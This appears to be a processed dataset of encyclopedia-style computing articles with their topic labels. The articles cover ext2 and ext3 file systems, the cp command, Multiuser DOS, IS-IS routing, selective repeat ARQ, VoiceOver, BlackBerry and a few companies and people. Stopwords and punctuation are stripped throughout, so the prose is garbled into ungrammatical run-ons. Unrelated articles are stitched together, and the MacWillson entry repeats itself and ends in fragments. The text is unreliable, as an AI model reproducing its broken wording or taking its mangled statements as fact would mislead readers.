*512 due i_block structure array direct/indirect ext2_n_blocks i_blocks 32-bit integer value representing number 512-byte blocks file max number sublevel-directories 31998 due link count limit directory indexing available ext2 performance issues directories large number files 10,000+ theoretical limit number files directory 1.3 × 10 although relevant practical situations note linux 2.4 earlier block devices limited 2 tib limiting maximum size partition regardless block size e2compr modification ext2 driver linux kernel support compression decompression files file system without support user applications e2compr small patch ext2 e2compr compresses regular files administrative data superblock inodes directory files etc compressed mainly safety reasons access compressed blocks provided read write operations compression algorithm cluster size specified per-file basis directories also marked compression case every newly created file directory automatically compressed cluster size algorithm specified directory e2compr new file system patch ext2 made support ext2_compr_fl flag require user make new partition continue read write existing ext2 file systems one consider simply way read write routines access files could created simple utility similar gzip compress compressed uncompressed files coexist nicely ext2 partitions latest e2compr-branch available current releases linux 2.4 2.6 3.0 latest patch linux 3.0 released august 2011 provides multicore high memory support also branches linux 2.0 2.2 access ext2 partitions microsoft windows possible installable file system ext2ifs ext2fsd filesystem userspace used macos
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Computer file systems
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cp unix computing codice_1 command various unix unix-like operating systems copying files directories command three principal modes operation expressed types arguments presented program copying file another file one files directory copying entire directories another directory utility accepts various command line option flags detail operations performed two major specifications posix cp gnu cp gnu cp many additional options posix version command also available efi shell cp part version 1 unix version codice_1 bundled gnu coreutils written torbjorn granlund david mackenzie jim meyering cp three principal modes operation modes inferred type count arguments presented program upon invocation copying file another file copying file directory copying directory directory -r -r must used creating copy file current directory copies prog.c prog.bak prog.bak file already exist cp command creates exist cp command replaces contents contents prog.c file copy two files current directory another directory copies files jones /home/nick/clients/jones smith /home/nick/clients/smith copy file new file preserve modification date time access control list associated source file copies smith file smith.jr file instead creating file current date time stamp system gives smith.jr file date time smith file smith.jr file also inherits smith file access control protection copy directory including files subdirectories another directory copies directory clients including files subdirectories files subdirectories directory customers/clients unix systems behave differently mode depending termination directory paths using codice_3 gnu system behaves expected however bsd system copies contents clients directory instead directory clients happens gnu bsd systems path source directory ends .. without trailing slash copying file existing file performed opening existing file update mode thereby preserving files inode requires write access results target file retaining permissions originally
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Computer file systems
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ext3 ext3 third extended filesystem journaled file system commonly used linux kernel used default file system many popular linux distributions stephen tweedie first revealed working extending ext2 journaling linux ext2fs filesystem 1998 paper later february 1999 kernel mailing list posting filesystem merged mainline linux kernel november 2001 2.4.15 onward main advantage ext2 journaling improves reliability eliminates need check file system unclean shutdown successor ext4 performance speed ext3 less attractive competing linux filesystems ext4 jfs reiserfs xfs ext3 significant advantage allows in-place upgrades ext2 without backup restore data benchmarks suggest ext3 also uses less cpu power reiserfs xfs also considered safer linux file systems due relative simplicity wider testing base ext3 adds following features ext2 without features ext3 file system also valid ext2 file system situation allowed well-tested mature file system maintenance utilities maintaining repairing ext2 file systems also used ext3 without major changes ext2 ext3 file systems share standard set utilities e2fsprogs includes fsck tool close relationship also makes conversion two file systems forward ext3 backward ext2 straightforward ext3 lacks modern filesystem features dynamic inode allocation extents situation might sometimes disadvantage recoverability significant advantage file system metadata fixed well-known locations data structures redundancy significant data corruption ext2 ext3 may recoverable tree-based file system may maximum number blocks ext3 2 size block vary affecting maximum number files maximum size file system three levels journaling available linux implementation ext3 three modes internal structure file system assured consistent even crash case data content files directories modified system crashed affected rest intact recovery ext3 aims backward-compatible earlier ext2 many on-disk structures similar ext2 consequently ext3 lacks recent features extents dynamic allocation inodes block sub-allocation directory 31998 subdirectories inode 32,000 links direct subdirectory increases parent folder inode link counter .. reference ext3 like current linux filesystems fsck-ed filesystem mounted writing attempting check filesystem already mounted read/write mode likely detect inconsistencies filesystem metadata filesystem metadata changing fsck applies changes attempt bring inconsistent metadata consistent state attempt fix inconsistencies corrupt filesystem online ext3 defragmentation tool works filesystem level offline ext2 defragmenter codice_1 requires ext3 filesystem converted back ext2 first however codice_1 may destroy data depending feature bits turned filesystem know handle many newer ext3 features userspace defragmentation tools like shake defrag shake works allocating space whole file one operation generally cause allocator find contiguous disk space files used time shake try write next one another defrag works copying file however strategy works file system enough free space true defragmentation tool exist ext3 however linux system administrator guide states modern linux filesystem keep fragmentation minimum keeping blocks file close together even ca n't stored consecutive sectors filesystems like ext3 effectively allocate free block nearest blocks file therefore necessary worry fragmentation linux system ext3 resistant file fragmentation ext3 get fragmented time specific usage patterns like slowly writing large files consequently ext4 successor ext3 online filesystem defragmentation utility e4defrag currently supports extents contiguous file regions ext3 support recovery deleted files ext3 driver actively deletes files wiping file inodes crash safety reasons still several techniques free proprietary software recovery deleted lost files using file system journal analysis however guarantee specific file recovery e3compr unofficial patch ext3 transparent compression direct port e2compr still needs development compiles boots well upstream kernels journaling implemented yet unlike number modern file systems ext3 native support snapshots ability quickly capture state filesystem arbitrary times instead relies less-space-efficient volume-level snapshots provided linux lvm next3 file system modified version ext3 offers snapshots support yet retains compatibility ext3 on-disk format ext3 checksumming writing journal storage device extra cache barrier=1 enabled mount option /etc/fstab hardware out-of-order write caching one runs risk severe filesystem corruption crash storage devices write caches report system data completely written even written volatile cache hard disk writes done out-of-order due modern hard disks caching writes order amortize write speeds likely one write commit block transaction relevant blocks written power failure unrecoverable crash occur blocks get written system rebooted upon reboot file system replay log normal replay winners transactions commit block including invalid transaction happened tagged valid commit block unfinished disk write thus proceed using corrupt journal data file system thus mistakenly overwrite normal data corrupt data replaying journal checksums used blocks fake winner transaction tagged mutual checksum file system could known better replayed corrupt data onto disk journal checksumming added ext4 filesystems going device mapper interface including software raid lvm implementations may support barriers issue warning mount option used also disks properly implement write cache flushing extension necessary barriers work causes similar warning situations barriers supported practical reliable write ordering possible turning disk write cache using mount option turning disk write cache may required even barriers available applications like databases expect call fsync flush pending writes disk barrier implementation n't always clear drive write cache response call also potential issue barrier implementation related error handling events drive failure also known sometimes virtualization technologies properly forward fsync flush commands underlying devices files volumes disk guest operating system similarly hard disks controllers implement cache flushing incorrectly still advertise supported return error used many ways handle fsync write cache handling incorrectly safer assume cache flushing work unless explicitly tested regardless reliable individual components believed ext3 stores dates unix time using four bytes file header 32 bits give enough scope continue processing files beyond january 18 2038 year 2038 problem geek millennium expected cause widespread disruption dealt timely fashion june 28 2006 theodore ts principal developer ext3 announced enhanced version called ext4 october 11 2008 patches mark ext4 stable code merged linux 2.6.28 source code repositories marking end development phase recommending adoption 2008 ts stated although ext4 improved features much faster ext3 major advance uses old technology stop-gap ts believes btrfs better direction offers improvements scalability reliability ease management btrfs also number design ideas reiser3/4
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Computer file systems
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evs broadcast equipment evs broadcast equipment sa belgian company manufactures live outside broadcast digital video production systems xt3 production video servers enable creation editing exchange playout audio video feeds programming television networks consists primarily broadcasting prerecorded images recently stored tapes linear editing editing tape replaced digital media non-linear editing today digital technology hard disk non-linear definition common alternative clear confirmation migration towards technology years even though still take another 5 6 years hard disk penetration rate increase 30 70 television stations began migrating tapeless interoperable computer platforms beginning late 1990s video recorders rarely used nowadays live productions evs type digital media servers norm live broadcasting evs co-founded 1994 laurent minguet three years later company invested 30 capital private funds roundabout eur 4 million 1998 evs listed first time stock exchange initial eur 14.8 quotation per share comparable levels valued eur 204 million year evs acquired vse hardware subcontractor managed michel counson transaction vse received evs shares approximate eur 4.5 million value since evs become major broadcast actor focusing digital recording technologies live sport tv production evs core products primarily used outbroadcasting vans ob vans allow high-quality respectively slow-motion image replay evs revolutionised professional digital recording first introduce hard disk drive field instead traditional magnetic tape recording business led time sony panasonic establishing outbroadcasting sport production evs started using high value servers address tv studio production full range products 2002 strategic move contributed +40 uplift 2012 additionally evs founded xdc 2004 pioneer high definition cinema broadcasting restructured within dcinex group evs sold stake dcinex 2014 2001 laurent minguet stepped position director three years later gave position side decided leave role ceo director following board directors meeting held september 15 2011 transitional period evs managed board directors 2012 evs appoints joop janssen ceo 10 october 2014 board directors joop janssen mutually agreed end term office duties joop janssen muriel de lathouwer member board directors evs chairing strategy committee appointed president executive committee interim basis 5 january 2015 evs announced acquired scalable video system gmbh svs developing it-based vision mixers dyvi live sa company based brussels distributing products svs name dyvi 19 february 2015 evs broadcast equipment appoints muriel de lathouwer managing director ceo july 17 2018 board directors muriel de lathouwer mutually agreed end term office duties muriel de lathouwer evs headquarters administration production development located liège belgium 4 additional development centers found evs also sales support offices london los angeles new york dubai mexico paris munich madrid brescia beijing hong kong sydney mumbai
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Distributed computing architecture
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multiuser dos multiuser dos real-time multi-user multi-tasking operating system ibm pc-compatible microcomputers evolution older concurrent cp/m-86 concurrent dos concurrent dos 386 operating systems originally developed digital research acquired developed novell 1991 ancestry lies earlier digital research 8-bit operating systems cp/m mp/m 16-bit single-tasking cp/m-86 evolved cp/m novell abandoned multiuser dos 1992 three master value added resellers vars datapac australasia concurrent controls intelligent micro software allowed take continued independent development datapac multiuser dos system manager cci multiuser dos ims multiuser dos real/32 flexos line evolved concurrent dos 286 concurrent dos 68k sold integrated systems inc. isi july 1994 initial version cp/m-86 1.0 bdos 2.x adapted became available ibm pc 1982 commercially unsuccessful ibm pc dos 1.0 offered much facilities considerably lower price like pc dos cp/m-86 fully exploit power capabilities new 16-bit machine soon supplemented implementation cp/m multitasking 'big brother mp/m-86 2.0 since september 1981 turned pc multiuser machine capable supporting multiple concurrent users using dumb terminals attached serial ports environment presented user made seem entire computer since terminals cost fraction then-substantial price complete pc offered considerable cost savings well facilitating multi-user applications accounts stock control time pc networks rare expensive difficult implement cp/m-86 1.1 bdos 2.2 mp/m-86 2.x merged create concurrent cp/m-86 3.0 also known ccp/m-86 bdos 3.0 1982/1983 one designers frank holsworth initially single-user operating system supporting true multi-tasking four default configuration cp/m-86 compatible programs later versions supported dumb terminals could deployed multiuser systems concurrent cp/m-86 3.1 bdos 3.1 shipped 21 february 1984 february 1984 digital research also offered version concurrent cp/m-86 windowing capabilities named concurrent cp/m windows ibm personal computer personal computer xt adaptation concurrent cp/m-86 lsi-m4 lsi octopus cal pc computers machines 16-bit 8-bit processors early days 16-bit personal computing 8-bit software available often ran faster corresponding 16-bit software concurrent cp/m-86/80 allowed users run cp/m 8-bit cp/m-86 16-bit applications command entered operating system ran corresponding application either 8-bit 16-bit processor depending whether executable file .com .cmd extension emulated cp/m environment 8-bit programs translating cp/m system calls cp/m-86 system calls executed 16-bit processor august 1983 bruce skidmore ray pedrizetti dave brown gordon edmonds teamed create pc-mode optional module concurrent cp/m-86 3.1 bdos 3.1 provide basic compatibility pc dos ms-dos shown publicly comdex december 1983 shipped march 1984 concurrent dos 3.1 a.k.a cdos bdos 3.1 hardware vendors simple dos applications directly access screen hardware could run example although console program pkzip worked perfectly offered facilities cp/m-native arc archiver applications performed screen manipulations wordstar word processor dos would native concurrent cp/m cp/m-86 versions required concurrent dos 3.1 4.1 developed us oem adaptations localizations carried dr europe oem support group newbury uk since 1983 digital research positioned concurrent dos 4.1 gem alternative ibm topview 1985 concurrent dos 3.2 bdos 3.2 1984 compatible pc dos 1.x available many different hardware platforms version ibm pc compatible bios/xios named concurrent pc dos 3.2 efforts part cooperation motorola since 1984 led development concurrent dos 68k austin texas successor cp/m-68k written c. concurrent dos 68k 1.0 became available oem evaluation early 1985 effort received considerable funding worth several million dollars motorola designed 68000/68010 processors like earlier gemdos system 68000 processors initially ran motorola vme/10 development system concurrent dos 68k 1.20/1.21 available april 1986 offered 200.000 dollars oems system evolved flexos 68k late 1986 known versions include parallel concurrent dos 68k effort digital research also previewed concurrent dos 286 cooperation intel january 1985 concurrent dos 286 complete rewrite c language based new system architecture dynamically loadable device drivers instead static bios xios one main architects frank holsworth operating system would function strictly 80286 native mode allowing protected mode multi-user multitasking operation running 8086 emulation worked b-1 step prototype chip samples digital research evaluation copies operating system already shipping april discovered problems emulation production level c-1 step processor may would allow concurrent dos 286 run 8086 software protected mode release concurrent dos 286 scheduled late may delayed intel could develop new version chip august extensive testing e-1 step samples 80286 digital research said intel corrected documented 286 errata still undocumented chip performance problems prerelease version concurrent dos 286 running e-1 step intel said approach digital research wished take emulating 8086 software protected mode differed original specifications nevertheless incorporated e-2 step minor changes microcode allowed digital research run emulation mode much faster see loadall limitations affected flexos 286 version 1.x reengineered derivation concurrent dos 286 developed digital research new flexible automation business unit monterey ca since 1986 later versions added compatibility pc dos 2.x 3.x known versions include oem support group relocated digital research newly created european development centre edc hungerford uk 1986 started take development concurrent dos family since concurrent dos 4.11 including siblings like dos plus successors developed hungerford uk versions 5 6 concurrent dos xm xm standing expanded memory could bank switch 8 mb eems provide real-mode environment run multiple cp/m-86 dos programs concurrently support three users one local two hooked via serial terminals 1987 concurrent dos rewritten become concurrent dos 386 still continuation classical xios bdos architecture ran machines equipped intel 80386 later processors using 386 hardware facilities virtualizing hardware allowing dos applications run unmodified concurrent dos 386 even terminals os supported concurrent multiuser file access allowing multiuser applications run individual pcs attached network server concurrent dos 386 allowed single server support number users dumb terminals inexpensive low-specification pcs running terminal emulation software without need expensive workstations then-expensive network cards true multiuser system several users could use single database record locking prevent mutual interference concurrent dos 6.0 represented also starting point dr dos family carved known versions include concurrent pc dos xm 5.0 emulated ibm pc dos 2.10 whereas concurrent dos xm 6.0 concurrent dos 386 2.0 compatible ibm pc dos 3.30 known cci concurrent dos adaptations concurrent controls inc. include adaptations include later versions concurrent dos 386 incorporated enhanced functionality dr later single-user pc dos clone dr dos 5.0 product given explanatory name multiuser dos a.k.a mdos starting version 5.0 bdos 6.5 1991 multiuser dos suffered several technical limitations restricted ability compete lans based pc dos required special device drivers much common hardware pc dos drivers multiuser multi-tasking aware driver installation complex simple pc dos method copying files onto boot disk modifying config.sys appropriately necessary relink multiuser dos kernel known nucleus using sysgen command multiuser dos also unable use many common pc dos additions network stacks limited ability support later developments pc-compatible world graphics adaptors sound cards cd-rom drives mice although many soon rectified example graphical terminals developed allowing users use cga ega vga software less flexible regard network individual pcs prices fell became less less competitive although still offered benefits terms management lower total cost ownership multi-user operating system price higher single-user system course required special device drivers unlike single-user multitasking dos add-ons quarterdeck desqview unlike mp/m never became popular single-user multitasking use novell acquired digital research 1991 abandoned multiuser dos 1992 three master vars datapac australasia concurrent controls intelligent micro software allowed license source code system take continue independent development derivations 1994 known versions include versions digital research novell dr multiuser dos reported ibm pc dos version 3.31 known versions datapac australasia pty limited include 1997 datapac bought citrix systems inc. system manager abandoned soon 2002 sydney-based unit spun citrix advanced products group known cci multiuser dos versions concurrent controls inc. cci include versions cci multiuser dos report ibm pc dos version 3.31 similar setver dos changed using multiuser dos dosver x.y utility 1999 cci changed name applica inc 2002 applica technology became aplycon technologies inc known adaptations ims multiuser dos include versions ims multiuser dos report ibm pc dos version 3.31 intelligent micro software ltd. ims thatcham uk acquired license develop multiuser dos novell 1994 renamed product real/32 1995 similar flexos/4690 os ibm 1995 licensed real/32 7.50 bundle 4695 pos terminals ims real/32 versions real/32 7.50 7.74 report ibm pc dos version 3.31 whereas 7.80 higher report version 6.20 lba fat32 support added real/32 7.90 1999 2002-04-19 intelligent micro software ltd. filed insolvency taken one major customers barry quittenton itera ltd company dissolved 2006-03-28 2010 real/32 supplied integrated solutions thatcham uk company address later listed builders real/ng ims attempt create next generation real/32 also named real/32 internet age real/ng promised increased range hardware pcs x86 multi-processor server systems advertised feature list 2003 10 december 2003 ims made realng v1.60-v1.19-v1.12 available based internet archive seems latest release 2005 realng.com website mirroring ims main website mention real/ng real/32 various releases operating system increasing ability run dos programs software written platform could take advantage features using function calls specifically suitable multiuser operation used pre-emptive multitasking preventing badly-written applications delaying processes retaining control processor day multiuser dos supported popular ssl/tls libraries wolfssl api provided support blocking non-blocking message queues mutual-exclusion queues ability create sub-process threads executed independently parent method pausing execution waste processor cycles unlike idle loops used single-user operating systems applications started attached console however application need user interaction could detach console run background process later reattaching console needed another key feature memory management supported shared memory model processes addition usual models available normal dos programs shared memory model code data sections program isolated code contained modifiable data code sections memory could shared several processes running program thereby reducing memory requirements programs written adapted multitasking platform need avoid technique used single-tasking systems going endless loops interrupted example waiting user press key wasted processor time could used processes instead concurrent dos provided api call process could call sleep period time later versions concurrent dos kernel included idle detection monitored dos api calls determine whether application useful work fact idle case process suspended allowing processes run idle detection catalyst patented dr-dos dynamic idle detection power management feature invented 1989 roger gross john p. constant marketed batterymax
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Operating systems
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alastair macwillson dr. alastair carmichael macwillson british cyber security professional macwillson chair institute information security professionals qufaro founding director cambridge analytica additionally principal chertoff group macwillson spent 16 years british foreign service working technical political risk analysis former ussr middle east united states dr. alastair carmichael macwillson british intelligence security cyber security professional macwillson chair institute information security professionals qufaro founding director cambridge analytica additionally principal chertoff group macwillson referenced spending 16 years british foreign service working technical political risk analysis former ussr middle east united states however cover real job officer mi6 direct recruit sis university oldfield chief initially specialised terrorist threat northern ireland 1980 posted senior intelligence officer oman research department internal security service staffed several senior sis gchq personnel director operations 1989 time worked cia establishing joint us/uk rapid deployment force combat terrorist events late 1989 returned uk 1990 published hmg sanctioned book entitled hostage taking terrorism since 1990 macwillson roving hq brief problem solver alleged set special operations group within sis 10 hostage taking terrorism dr. alastair macwillson published 1991 mcmillan 11 cambride analytica
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Computer security
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selective repeat arq selective repeat arq/selective reject arq specific instance automatic repeat-request arq protocol used solve sequence number dilemma communications selective repeat part automatic repeat-request arq selective repeat sender sends number frames specified window size even without need wait individual ack receiver go-back-n arq receiver may selectively reject single frame may retransmitted alone contrasts forms arq must send every frame point receiver accepts out-of-order frames buffers sender individually retransmits frames timed may used protocol delivery acknowledgement message units may used protocol delivery subdivided message sub-units used protocol delivery messages sending process continues send number frames specified window size even frame loss unlike go-back-n arq receiving process continue accept acknowledge frames sent initial error general case sliding window protocol transmit receive window sizes greater 1 receiver process keeps track sequence number earliest frame received sends number every acknowledgement ack sends frame sender reach receiver sender continues send subsequent frames emptied window receiver continues fill receiving window subsequent frames replying time ack containing sequence number earliest missing frame sender sent frames window re-sends frame number given acks continues left size sending receiving windows must equal half maximum sequence number assuming sequence numbers numbered 0 n −1 avoid miscommunication cases packets dropped understand consider case acks destroyed receiving window larger half maximum sequence number possibly even packets present timeouts duplicates recognized sender moves window every packet acknowledged used protocol delivery subdivided messages works somewhat differently non-continuous channels messages may variable length standard arq hybrid arq protocols may treat message single unit alternately selective retransmission may employed conjunction basic arq mechanism message first subdivided sub-blocks typically fixed length process called packet segmentation original variable length message thus represented concatenation variable number sub-blocks standard arq message whole either acknowledged acked negatively acknowledged naked arq selective transmission ack response would additionally carry bit flag indicating identity sub-block successfully received arq selective retransmission sub-divided messages retransmission diminishes length needing contain sub-blocks linked channel models variable length messages probability error-free reception diminishes inverse proportion increasing message length words easier receive short message longer message therefore standard arq techniques involving variable length messages increased difficulty delivering longer messages repeat full length selective re-transmission applied variable length messages completely eliminates difficulty delivering longer messages successfully delivered sub-blocks retained transmission number outstanding sub-blocks following transmissions diminishes selective repeat implemented udp transmission transmission control protocol uses variant go-back-n arq ensure reliable transmission data internet protocol provide guaranteed delivery packets selective acknowledgement sack extension may also use selective repeat arq itu-t g.hn standard provides way create high-speed 1 gigabit/s local area network using existing home wiring power lines phone lines coaxial cables uses selective repeat arq ensure reliable transmission noisy media g.hn employs packet segmentation sub-divide messages smaller units increase probability one received correctly stanag 5066 profile hf radio data communications uses selective repeat arq maximum window size 128 protocol-data units pdus
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Internet protocols
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name collision term name collision refers nomenclature problem occurs computer programs variable name used different things two separate areas joined merged otherwise go occupying separate namespaces sharing one collision identifiers must resolved way new software mashup work right problems name collision methods avoid common issue introductory level analysis computer languages c++ term name collision used computer science three decades referring names various classification systems several techniques avoiding name collisions including use tactics used resolve name collisions
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Programming language topics
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charles proxy charles web debugging proxy cross-platform http debugging proxy server application written java enables user view http https http/2 enabled tcp port traffic accessed via local computer includes requests responses including http headers metadata e.g cookies caching encoding information functionality targeted assisting developers analyze connections messaging charles autoconfigure use following browsers
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Computer security
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is-is intermediate system intermediate system is-is also written isis routing protocol designed move information efficiently within computer network group physically connected computers similar devices accomplishes determining best route data packet-switched network is-is protocol defined iso/iec 10589:2002 international standard within open systems interconnection osi reference design internet engineering task force ietf republished is-is rfc 1142 rfc later marked historic rfc 7142 republished draft rather final version iso standard causing confusion is-is called de facto standard large service provider network backbones is-is interior gateway protocol designed use within administrative domain network contrast exterior gateway protocols primarily border gateway protocol bgp used routing autonomous systems rfc 1930 is-is link-state routing protocol operating reliably flooding link state information throughout network routers is-is router independently builds database network topology aggregating flooded network information like ospf protocol is-is uses dijkstra algorithm computing best path network packets datagrams forwarded based computed ideal path network destination is-is protocol developed digital equipment corporation part decnet phase v. standardized iso 1992 iso 10589 communication network devices termed intermediate systems opposed end systems hosts iso purpose is-is make possible routing datagrams using iso-developed osi protocol stack called clns is-is developed roughly time internet engineering task force ietf developing similar protocol called ospf is-is later extended support routing datagrams internet protocol ip network layer protocol global internet version is-is routing protocol called integrated is-is rfc 1195 is-is open shortest path first ospf link state protocols use dijkstra algorithm computing best path network result conceptually similar support variable length subnet masks use multicast discover neighboring routers using hello packets support authentication routing updates ospf natively built route ip layer 3 protocol runs top ip is-is osi layer 2 protocol layer connectionless network protocol clnp widespread adoption ip may contributed ospf popularity is-is use ip carry routing information messages ospf version 2 hand designed ipv4 is-is neutral regarding type network addresses route allowed is-is easily used support ipv6 operate ipv6 networks ospf protocol rewritten ospf v3 specified rfc 2740 ospf is-is routers build topological representation network map indicates subnets is-is router reach lowest-cost shortest path subnet used forward traffic is-is differs ospf way areas defined routed is-is routers designated level 1 intra-area level 2 inter area level 1–2 routing information exchanged level 1 routers level 1 routers area level 2 routers form relationships exchange information level 2 routers level 1–2 routers exchange information levels used connect inter area routers intra area routers ospf areas delineated interface area border router abr actually two areas effectively creating borders areas inside abr whereas is-is area borders routers designated level 2 level 1–2 result is-is router ever part single area is-is also require area 0 area zero backbone area inter-area traffic must pass logical view ospf creates something spider web star topology many areas attached directly area zero is-is contrast creates logical topology backbone level 2 routers branches level 1–2 level 1 routers forming individual areas is-is also differs ospf methods reliably floods topology topology change information network however basic concepts similar ospf larger set extensions optional features specified protocol standards however is-is easier expand use type-length-value tlv data allows engineers implement support new techniques without redesigning protocol example order support ipv6 is-is protocol extended support additional tlvs whereas ospf required new protocol draft ospfv3 addition is-is less chatty scale support larger networks given set resources is-is support routers area ospf contributed is-is isp-scale protocol tcp/ip implementation known integrated is-is dual is-is described rfc 1195 is-is also used control plane ieee 802.1aq shortest path bridging spb spb allows shortest-path forwarding ethernet mesh network context utilizing multiple equal cost paths permits spb support large layer 2 topologies fast convergence improved use mesh topology combined single point provisioning logical connectivity membership is-is therefore augmented small number tlvs sub-tlvs supports two ethernet encapsulating data paths 802.1ad provider bridges 802.1ah provider backbone bridges spb requires state machine substantive changes is-is simply requires new network layer protocol identifier nlpid set tlvs extension is-is defined ietf proposed standard rfc 6329
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Internet protocols
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voiceover voiceover screen reader built apple inc. macos ios tvos watchos ipod operating systems using voiceover user access macintosh ios device based spoken descriptions case mac keyboard feature designed increase accessibility blind low-vision users well users dyslexia voiceover first introduced mac os x 10.4 target users difficulty reading due vision impairment particularly blind preview also made available mac os x 10.3 panther titled spoken interface preview voiceover treats user interface hierarchy elements navigated various keystrokes elements also interacted with—for example interacting text box allows reading text possible editing interacting scroll bar allows moved using keyboard voiceover also includes support many braille displays blind deaf addition voiceover includes features use mouse keyboard-based navigation users macbooks magic trackpads number special multitouch features also available trackpad respond gestures much like ios version voiceover specific example using trackpad explore actual visual layout elements screen sliding one finger around trackpad activate elements mac os x 10.5 apple added alex voice offered improved quality speech human-like sound previously voices directly descended used apple speech manager originated early 1990s also alex voice natural breathing unlike voices apple mac os x 10.7 apple offered download realspeak voices nuance use voiceover accessibility inspector made verify accessibility os x applications displays information gui element currently cursor success macs apple added voiceover ipod shuffle assists users ipod shuffle controlling playback songs titles read 2010 revision ipod shuffle user also voiceover read playlists unlike voiceover os x voiceover marketed accessibility feature ipod shuffle voiceover intended used everyone disabled months later release iphone 3gs voiceover added ios ipod touch upgraded match hardware iphone 3gs ipod touch third generation also gained voiceover capability ipad since introduction also voiceover capability voiceover ios interacts user using various gestures different motions one makes one fingers display many gestures location-sensitive—for example sliding one finger around screen reveal visual contents screen finger passes enables blind users explore actual on-screen layout application user double-tap—similar double-clicking mouse—to activate selected element sighted user tapped item voiceover also turn display leave touch screen sensitive touch saving battery power apple calls feature screen curtain also available mac computers running os x. voiceover ios activated using settings application found accessibility section general section device also configured voiceover toggled triple-click home button device september 2009 apple launched feature ipod nano line uses many gestures ios version
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Operating systems
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blackberry blackberry line smartphones tablets services originally designed marketed canadian company blackberry limited formerly known research motion rim currently designed manufactured marketed tcl communication brand blackberry mobile bb merah putih optiemus infracom global indonesian south asian markets respectively using blackberry brand license blackberry one prominent smartphone vendors world specializing secure communications mobile productivity well-known keyboards devices peak september 2013 85 million blackberry subscribers worldwide however blackberry since lost dominant position market due success android ios platforms numbers fallen 23 million march 2016 blackberry line traditionally uses proprietary operating system developed blackberry limited known blackberry os 2013 blackberry introduced blackberry 10 major revamp platform based qnx operating system blackberry 10 meant replace aging blackberry os platform new system line user experiences modern smartphone operating systems first bb10 powered device blackberry z10 followed all-touch keyboard-equipped models including blackberry q10 blackberry classic blackberry z30 stereo speakers blackberry passport blackberry leap 2015 blackberry re-focused business strategy began release android-based smartphones beginning blackberry priv slider blackberry dtek50 september 28 2016 blackberry announced would cease designing phones favor licensing partners tcl communication became global licensee brand name blackberry mobile optiemus infracom name blackberry mobile india bb merah putih also serve licensees brand serving indian indonesian markets respectively february 2017 blackberry mobile released blackberry keyone known physical keyboard 4.5 inch screen great battery life last device designed blackberry limited blackberry mobile latest android smartphone blackberry key2 officially announced june 7 2018 released july 13th year us devices along bb merah purih blackberry aurora make blackberry current lineup june 2018 blackberry key2 launched international markets india licensee optiemus infracom key2 first blackberry-branded smartphone sport dual camera setup incorporates features portrait mode optical zoom august 2018 launch blackberry key2 optiemus infracom announced launch evolve evolve x smartphones indian market sold exclusively amazon india smartphones conceptualized designed manufactured india evolve series officially announced august 2 2018 research motion rim founded waterloo ontario first developed inter ctive pager 900 announced september 18 1996 inter ctive pager 900 clamshell-type device allowed two-way paging success 900 inter ctive pager 800 created ibm bought us 10 million worth february 4 1998 next device released inter ctive pager 950 august 26 1998 first device carry blackberry name blackberry 850 email pager released january 19 1999 although identical appearance 950 850 first device integrate email name inter ctive pager longer used brand device first blackberry device 850 introduced 1999 two-way pager munich germany name blackberry coined marketing company lexicon branding name chosen due resemblance keyboard buttons drupelets compose blackberry fruit original blackberry devices rim 850 857 used datatac network 2002 commonly known convergent smartphone blackberry released supports push email mobile telephone text messaging internet faxing web browsing wireless information services blackberry gained market share mobile industry concentrating email blackberry began offer email service non-blackberry devices palm treo proprietary blackberry connect software original blackberry device monochrome display newer models installed color displays newer models optimized thumbing use thumbs type keyboard storm 1 storm 2 include suretype keypad typing originally system navigation achieved use scroll wheel mounted right side device models prior 8700 trackwheel replaced trackball introduction pearl series allowed four-way scrolling trackball replaced optical trackpad introduction curve 8500 series models made use iden networks nextel southernlinc nii holdings mike also incorporate push-to-talk ptt feature similar two-way radio january 30 2013 blackberry announced release z10 q10 smartphones models consist touch screens z10 features all-touch design q10 combines qwerty keyboard touchscreen features second financial quarter 2013 blackberry sold 6.8 million handsets eclipsed sales competitor nokia lumia model first time august 12 2013 blackberry announced intention sell company due increasingly unfavourable financial position competition mobile industry largely due lower expected sales z10 blackberry announced september 20 2013 4,500 full- part-time positions estimated 40 operating staff terminated product line reduced six four models september 23 2013 fairfax financial owns 10 equity stake blackberry made offer acquire blackberry 4.7 billion 9.00 per share following announcement blackberry announced acceptance offer provisionally would continue seek offers november 4 2013 november 4 2013 blackberry replaced thorsten heins new interim ceo john s. chen former ceo sybase november 8 blackberry board rejected proposals several technology companies various blackberry assets grounds break-up serve interest stakeholders include employees customers suppliers addition shareholders said sources want identified discussions confidential november 13 2013 chen released open message committed reclaiming success early july 2014 techcrunch online publication published article titled blackberry one hottest stocks 2014 seriously following 50 percent rise company stock increase greater peer companies apple google however analysis blackberry financial results showed neither revenue profit margin improved instead costs markedly reduced period blackberry also introduced new passport handset — consisting square screen full hd-class 1,440 x 1,440 resolution marketed professional fields healthcare architecture — promoted messenger app released minor updates bb10 mobile operating system december 17 2014 blackberry classic introduced meant line former bold series incorporating navigation buttons similar previous blackberry os devices discontinued june 2016 last blackberry keyboard dominates front phone classic style september 2015 blackberry officially unveiled blackberry priv slider german made camera lens 18 megapixels phablet utilizes android operating system additional security productivity-oriented features inspired blackberry operating systems however blackberry coo marty beard told bloomberg company never said would build another bb10 device july 26 2016 company hinted another model physical keyboard coming shortly day blackberry unveiled mid-range android model on-screen keyboard blackberry dtek50 powered latest version android 6.0 marshmallow priv could also upgraded 6.0 device featured 5.2-inch full high-definition display blackberry chief security officer david kleidermacher stressed data security launch indicating model included built-in malware protection encryption user information industry observers pointed dtek50 re-branded version alcatel idol 4 additional security-oriented software customizations manufactured designed tcl september 2016 blackberry limited agreed licensing partnership indonesian company set new joint venture company called bb merah putih source distribute market blackberry handsets indonesia october 25 2016 blackberry released blackberry dtek60 second device dtek series manufactured designed tcl device features 5.5-inch quad-hd touch screen display running qualcomm snapdragon 820 processor support quick charge 3.0 usb type-c fingerprint sensor october 2016 announced blackberry working ford motor company canada develop software car manufacturer connected vehicles february 2017 20m class action lawsuit blackberry announced former employees company march 2017 bb merah putih announced blackberry aurora indonesian-made sold device running operating system based android 7.0 box march 2018 announced blackberry working jaguar land rover develop software car manufacturer vehicles june 2018 blackberry partnership tcl mobile optiemus infracom launched key2 global launch new york third device sport keyboard running google android os 2000 ntp sent notice wireless email patents number companies offered license patents ntp brought patent-infringement lawsuit one companies research motion united states district court eastern district virginia court well known strict adherence timetables deadlines sometimes referred rocket docket particularly efficient trying patent cases jury eventually found ntp patents valid furthermore jury established rim infringed patents willful manner infringement cost ntp us 33 million damages greater reasonable royalty lost profits judge james r. spencer increased damages us 53 million punitive measure due willful nature infringement also instructed rim pay ntp legal fees us 4.5 million 